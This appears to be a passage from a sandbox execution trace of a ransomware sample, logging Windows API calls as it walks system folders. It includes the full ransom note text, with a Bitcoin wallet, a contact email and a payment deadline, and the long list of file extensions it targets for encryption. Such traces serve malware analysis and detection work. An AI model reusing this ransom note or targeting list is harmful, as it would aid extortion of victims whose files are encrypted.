dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.472] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.472] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.472] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd060a81, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd060a81, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd060a81, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="22b5364c10d315a7f0a1fbd23f671c5a", cAlternateFileName="22B536~1")) returned 1 [0109.472] lstrcmpA (lpString1=".", lpString2="22b5364c10d315a7f0a1fbd23f671c5a") returned -1 [0109.472] lstrcmpA (lpString1="..", lpString2="22b5364c10d315a7f0a1fbd23f671c5a") returned -1 [0109.472] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\*.*") returned="*.*" [0109.472] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\", lpString2="22b5364c10d315a7f0a1fbd23f671c5a" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a" [0109.472] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a") returned 100 [0109.472] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd060a81, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd060a81, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd060a81, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.473] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.473] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd060a81, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd060a81, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd060a81, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.473] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.473] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.473] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcfee660, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdcfee660, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdcfee660, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x8ea00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Transactions.Bridge.Dtc.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.473] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.473] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Transactions.Bridge.Dtc.ni.dll") returned -1 [0109.473] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Transactions.Bridge.Dtc.ni.dll") returned -1 [0109.473] lstrcmpiA (lpString1="", lpString2="Microsoft.Transactions.Bridge.Dtc.ni.dll") returned -1 [0109.473] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\*.*") returned="*.*" [0109.473] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\" [0109.473] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\") returned="" [0109.473] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\HOW TO DECRYPT FILES.txt" [0109.473] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\how to decrypt files.txt")) returned 0xffffffff [0109.473] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.480] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0109.480] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.482] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.482] CloseHandle (hObject=0x90) returned 1 [0109.483] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\", lpString2="Microsoft.Transactions.Bridge.Dtc.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll" [0109.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.ems") returned 0 [0109.483] lstrlenA (lpString="*.ems") returned 5 [0109.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.db") returned 0 [0109.483] lstrlenA (lpString="*.db") returned 4 [0109.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.dbf") returned 0 [0109.483] lstrlenA (lpString="*.dbf") returned 5 [0109.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.myox") returned 0 [0109.483] lstrlenA (lpString="*.myox") returned 6 [0109.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.myo") returned 0 [0109.483] lstrlenA (lpString="*.myo") returned 5 [0109.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.qbw") returned 0 [0109.483] lstrlenA (lpString="*.qbw") returned 5 [0109.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.qbb") returned 0 [0109.483] lstrlenA (lpString="*.qbb") returned 5 [0109.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.qbm") returned 0 [0109.483] lstrlenA (lpString="*.qbm") returned 5 [0109.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.qbo") returned 0 [0109.484] lstrlenA (lpString="*.qbo") returned 5 [0109.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.qbx") returned 0 [0109.484] lstrlenA (lpString="*.qbx") returned 5 [0109.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.qba") returned 0 [0109.484] lstrlenA (lpString="*.qba") returned 5 [0109.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.qby") returned 0 [0109.484] lstrlenA (lpString="*.qby") returned 5 [0109.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.qbj") returned 0 [0109.484] lstrlenA (lpString="*.qbj") returned 5 [0109.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.ofx") returned 0 [0109.484] lstrlenA (lpString="*.ofx") returned 5 [0109.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.qif") returned 0 [0109.484] lstrlenA (lpString="*.qif") returned 5 [0109.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.mye") returned 0 [0109.484] lstrlenA (lpString="*.mye") returned 5 [0109.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.mbox") returned 0 [0109.484] lstrlenA (lpString="*.mbox") returned 6 [0109.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.eml") returned 0 [0109.484] lstrlenA (lpString="*.eml") returned 5 [0109.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.pst") returned 0 [0109.485] lstrlenA (lpString="*.pst") returned 5 [0109.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.ost") returned 0 [0109.485] lstrlenA (lpString="*.ost") returned 5 [0109.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.idx") returned 0 [0109.485] lstrlenA (lpString="*.idx") returned 5 [0109.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.dbx") returned 0 [0109.485] lstrlenA (lpString="*.dbx") returned 5 [0109.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.sql") returned 0 [0109.485] lstrlenA (lpString="*.sql") returned 5 [0109.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.mdb") returned 0 [0109.485] lstrlenA (lpString="*.mdb") returned 5 [0109.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.fdb") returned 0 [0109.485] lstrlenA (lpString="*.fdb") returned 5 [0109.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.wab") returned 0 [0109.485] lstrlenA (lpString="*.wab") returned 5 [0109.485] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.dat") returned 0 [0109.485] lstrlenA (lpString="*.dat") returned 5 [0109.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.txt") returned 0 [0109.486] lstrlenA (lpString="*.txt") returned 5 [0109.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.jpeg") returned 0 [0109.486] lstrlenA (lpString="*.jpeg") returned 6 [0109.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.jpg") returned 0 [0109.486] lstrlenA (lpString="*.jpg") returned 5 [0109.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.png") returned 0 [0109.486] lstrlenA (lpString="*.png") returned 5 [0109.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.php") returned 0 [0109.486] lstrlenA (lpString="*.php") returned 5 [0109.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.cs") returned 0 [0109.486] lstrlenA (lpString="*.cs") returned 4 [0109.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.cpp") returned 0 [0109.486] lstrlenA (lpString="*.cpp") returned 5 [0109.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.rar") returned 0 [0109.486] lstrlenA (lpString="*.rar") returned 5 [0109.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.zip") returned 0 [0109.486] lstrlenA (lpString="*.zip") returned 5 [0109.487] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.html") returned 0 [0109.487] lstrlenA (lpString="*.html") returned 6 [0109.487] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.htm") returned 0 [0109.487] lstrlenA (lpString="*.htm") returned 5 [0109.487] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.xlsx") returned 0 [0109.487] lstrlenA (lpString="*.xlsx") returned 6 [0109.487] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.xls") returned 0 [0109.487] lstrlenA (lpString="*.xls") returned 5 [0109.487] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.mp4") returned 0 [0109.487] lstrlenA (lpString="*.mp4") returned 5 [0109.487] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.ppt") returned 0 [0109.487] lstrlenA (lpString="*.ppt") returned 5 [0109.487] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.pptx") returned 0 [0109.487] lstrlenA (lpString="*.pptx") returned 6 [0109.487] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.doc") returned 0 [0109.487] lstrlenA (lpString="*.doc") returned 5 [0109.487] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.dot") returned 0 [0109.487] lstrlenA (lpString="*.dot") returned 5 [0109.487] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.docx") returned 0 [0109.488] lstrlenA (lpString="*.docx") returned 6 [0109.488] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.7z") returned 0 [0109.488] lstrlenA (lpString="*.7z") returned 4 [0109.488] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.tar") returned 0 [0109.488] lstrlenA (lpString="*.tar") returned 5 [0109.488] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.bz2") returned 0 [0109.488] lstrlenA (lpString="*.bz2") returned 5 [0109.488] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.gz") returned 0 [0109.488] lstrlenA (lpString="*.gz") returned 4 [0109.488] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.mkv") returned 0 [0109.488] lstrlenA (lpString="*.mkv") returned 5 [0109.488] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.eml") returned 0 [0109.488] lstrlenA (lpString="*.eml") returned 5 [0109.488] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.msg") returned 0 [0109.488] lstrlenA (lpString="*.msg") returned 5 [0109.488] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.edb") returned 0 [0109.488] lstrlenA (lpString="*.edb") returned 5 [0109.488] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.accdb") returned 0 [0109.488] lstrlenA (lpString="*.accdb") returned 7 [0109.488] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.odb") returned 0 [0109.489] lstrlenA (lpString="*.odb") returned 5 [0109.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.java") returned 0 [0109.489] lstrlenA (lpString="*.java") returned 6 [0109.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.asm") returned 0 [0109.489] lstrlenA (lpString="*.asm") returned 5 [0109.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.pfx") returned 0 [0109.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.pem") returned 0 [0109.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.p12") returned 0 [0109.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.gpg") returned 0 [0109.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.vsd") returned 0 [0109.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.odg") returned 0 [0109.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\22b5364c10d315a7f0a1fbd23f671c5a\\Microsoft.Transactions.Bridge.Dtc.ni.dll", pszSpec="*.raw") returned 0 [0109.490] PathMatchSpecA 